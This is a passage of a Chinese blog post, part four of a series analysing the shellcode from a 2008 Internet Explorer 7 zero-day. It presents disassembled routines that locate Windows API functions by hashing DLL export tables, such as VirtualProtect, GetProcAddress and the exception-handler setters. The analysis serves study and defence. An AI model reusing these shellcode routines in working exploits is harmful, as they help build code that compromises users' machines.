百度空间 | 百度首页 
 
查看文章
 
【原创】IE7 0DAY漏洞所用shellcode的分析(四)
2008-12-13 00:52

Get_VirtualProtect:
; 得到VirtualProtect地址,方法是得到kernel32.dll基址后再遍历输出表。

00407327 >   E8 AB010000     call     <Getkernel32>
0040732C     68 1BC64679     push     7946C61B
00407331     50              push    eax
00407332     E8 C6010000     call     <GetAPIFromExport>
00407337     83C4 08         add     esp, 8
0040733A     C3              retn

Get_GlobalAlloc:

0040733B >   E8 97010000     call     <Getkernel32>                              
00407340     68 EC97030C     push     0C0397EC
00407345     50              push    eax
00407346     E8 B2010000     call     <GetAPIFromExport>
0040734B     83C4 08         add     esp, 8
0040734E     C3              retn

Get_GetProcAddress:

0040734F >   E8 83010000     call     <Getkernel32>                              
00407354     68 AAFC0D7C     push     7C0DFCAA
00407359     50              push    eax
0040735A     E8 9E010000     call     <GetAPIFromExport>
0040735F     83C4 08         add     esp, 8
00407362     C3              retn

Get_UnhandledExceptionFilter:

00407363 >   E8 6F010000     call     <Getkernel32>                              
00407368     68 ED56EF36     push     36EF56ED
0040736D     50              push    eax
0040736E     E8 8A010000     call     <GetAPIFromExport>
00407373     83C4 08         add     esp, 8
00407376     C3              retn

Get_SetUnhandledExceptionFilter:

00407377 >   E8 5B010000     call     <Getkernel32>                              
0040737C     68 F08A045F     push     5F048AF0
00407381     50              push    eax
00407382     E8 76010000     call     <GetAPIFromExport>
00407387     83C4 08         add     esp, 8
0040738A     C3              retn

Get_RtlAddVectoredExceptionHandler:

0040738B >   E8 F7FEFFFF     call     <Getntdll>                                
00407390     68 7868DB1C     push     1CDB6878
00407395     50              push    eax
00407396     E8 62010000     call     <GetAPIFromExport>
0040739B     83C4 08         add     esp, 8
0040739E     C3              retn

Get_ExitThread:

0040739F >   E8 33010000     call     <Getkernel32>                              
004073A4     68 EFCEE060     push     60E0CEEF
004073A9     50              push    eax
004073AA     E8 4E010000     call     <GetAPIFromExport>
004073AF     83C4 08         add     esp, 8
004073B2     C3              retn

Get_Sleep:

004073B3 >   E8 1F010000     call     <Getkernel32>                              
004073B8     68 B0492DDB     push     DB2D49B0
004073BD     50              push    eax
004073BE     E8 3A010000     call     <GetAPIFromExport>
004073C3     83C4 08         add     esp, 8
004073C6     C3              retn

Get_Unknown:
; 这个函数没有被调用到。由于Getvgx调用失败,所以我不知道这里得到的是什么函数地址,只能Unknown了……

004073C7 >   E8 36FFFFFF     call     <Getvgx>                                  
004073CC     68 AB5E9B1E     push     1E9B5EAB
004073D1     50              push    eax
004073D2     E8 26010000     call     <GetAPIFromExport>
004073D7     83C4 08         add     esp, 8
004073DA     C3              retn

Get_LdrShutdownThread:

004073DB >   E8 A7FEFFFF     call     <Getntdll>                                
004073E0     68 59978102     push     2819759
004073E5     50              push    eax
004073E6     E8 12010000     call     <GetAPIFromExport>
004073EB     83C4 08         add     esp, 8
004073EE     C3              retn

Get_ExitProcess:

004073EF >   E8 E3000000     call     <Getkernel32>                              
004073F4     68 7ED8E273     push     73E2D87E
004073F9     50              push    eax
004073FA     E8 FE000000     call     <GetAPIFromExport>
004073FF     83C4 08         add     esp, 8
00407402     C3              retn

Get_GetCurrentThreadId:

00407403 >   E8 CF000000     call     <Getkernel32>                              
00407408     68 9EF9BB35     push     35BBF99E
0040740D     50              push    eax
0040740E     E8 EA000000     call     <GetAPIFromExport>
00407413     83C4 08         add     esp, 8
00407416     C3              retn

Get_MessageBeep:

00407417 >   E8 92FEFFFF     call     <GetUser32>                                
0040741C     68 57A0B5BB     push     BBB5A057
00407421     50              push    eax
00407422     E8 D6000000     call     <GetAPIFromExport>
00407427     83C4 08         add     esp, 8
0040742A     C3              retn


类别:默认分类 | 添加到搜藏 | 浏览() | 评论 (0)
 
最近读者:
 
网友评论:
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu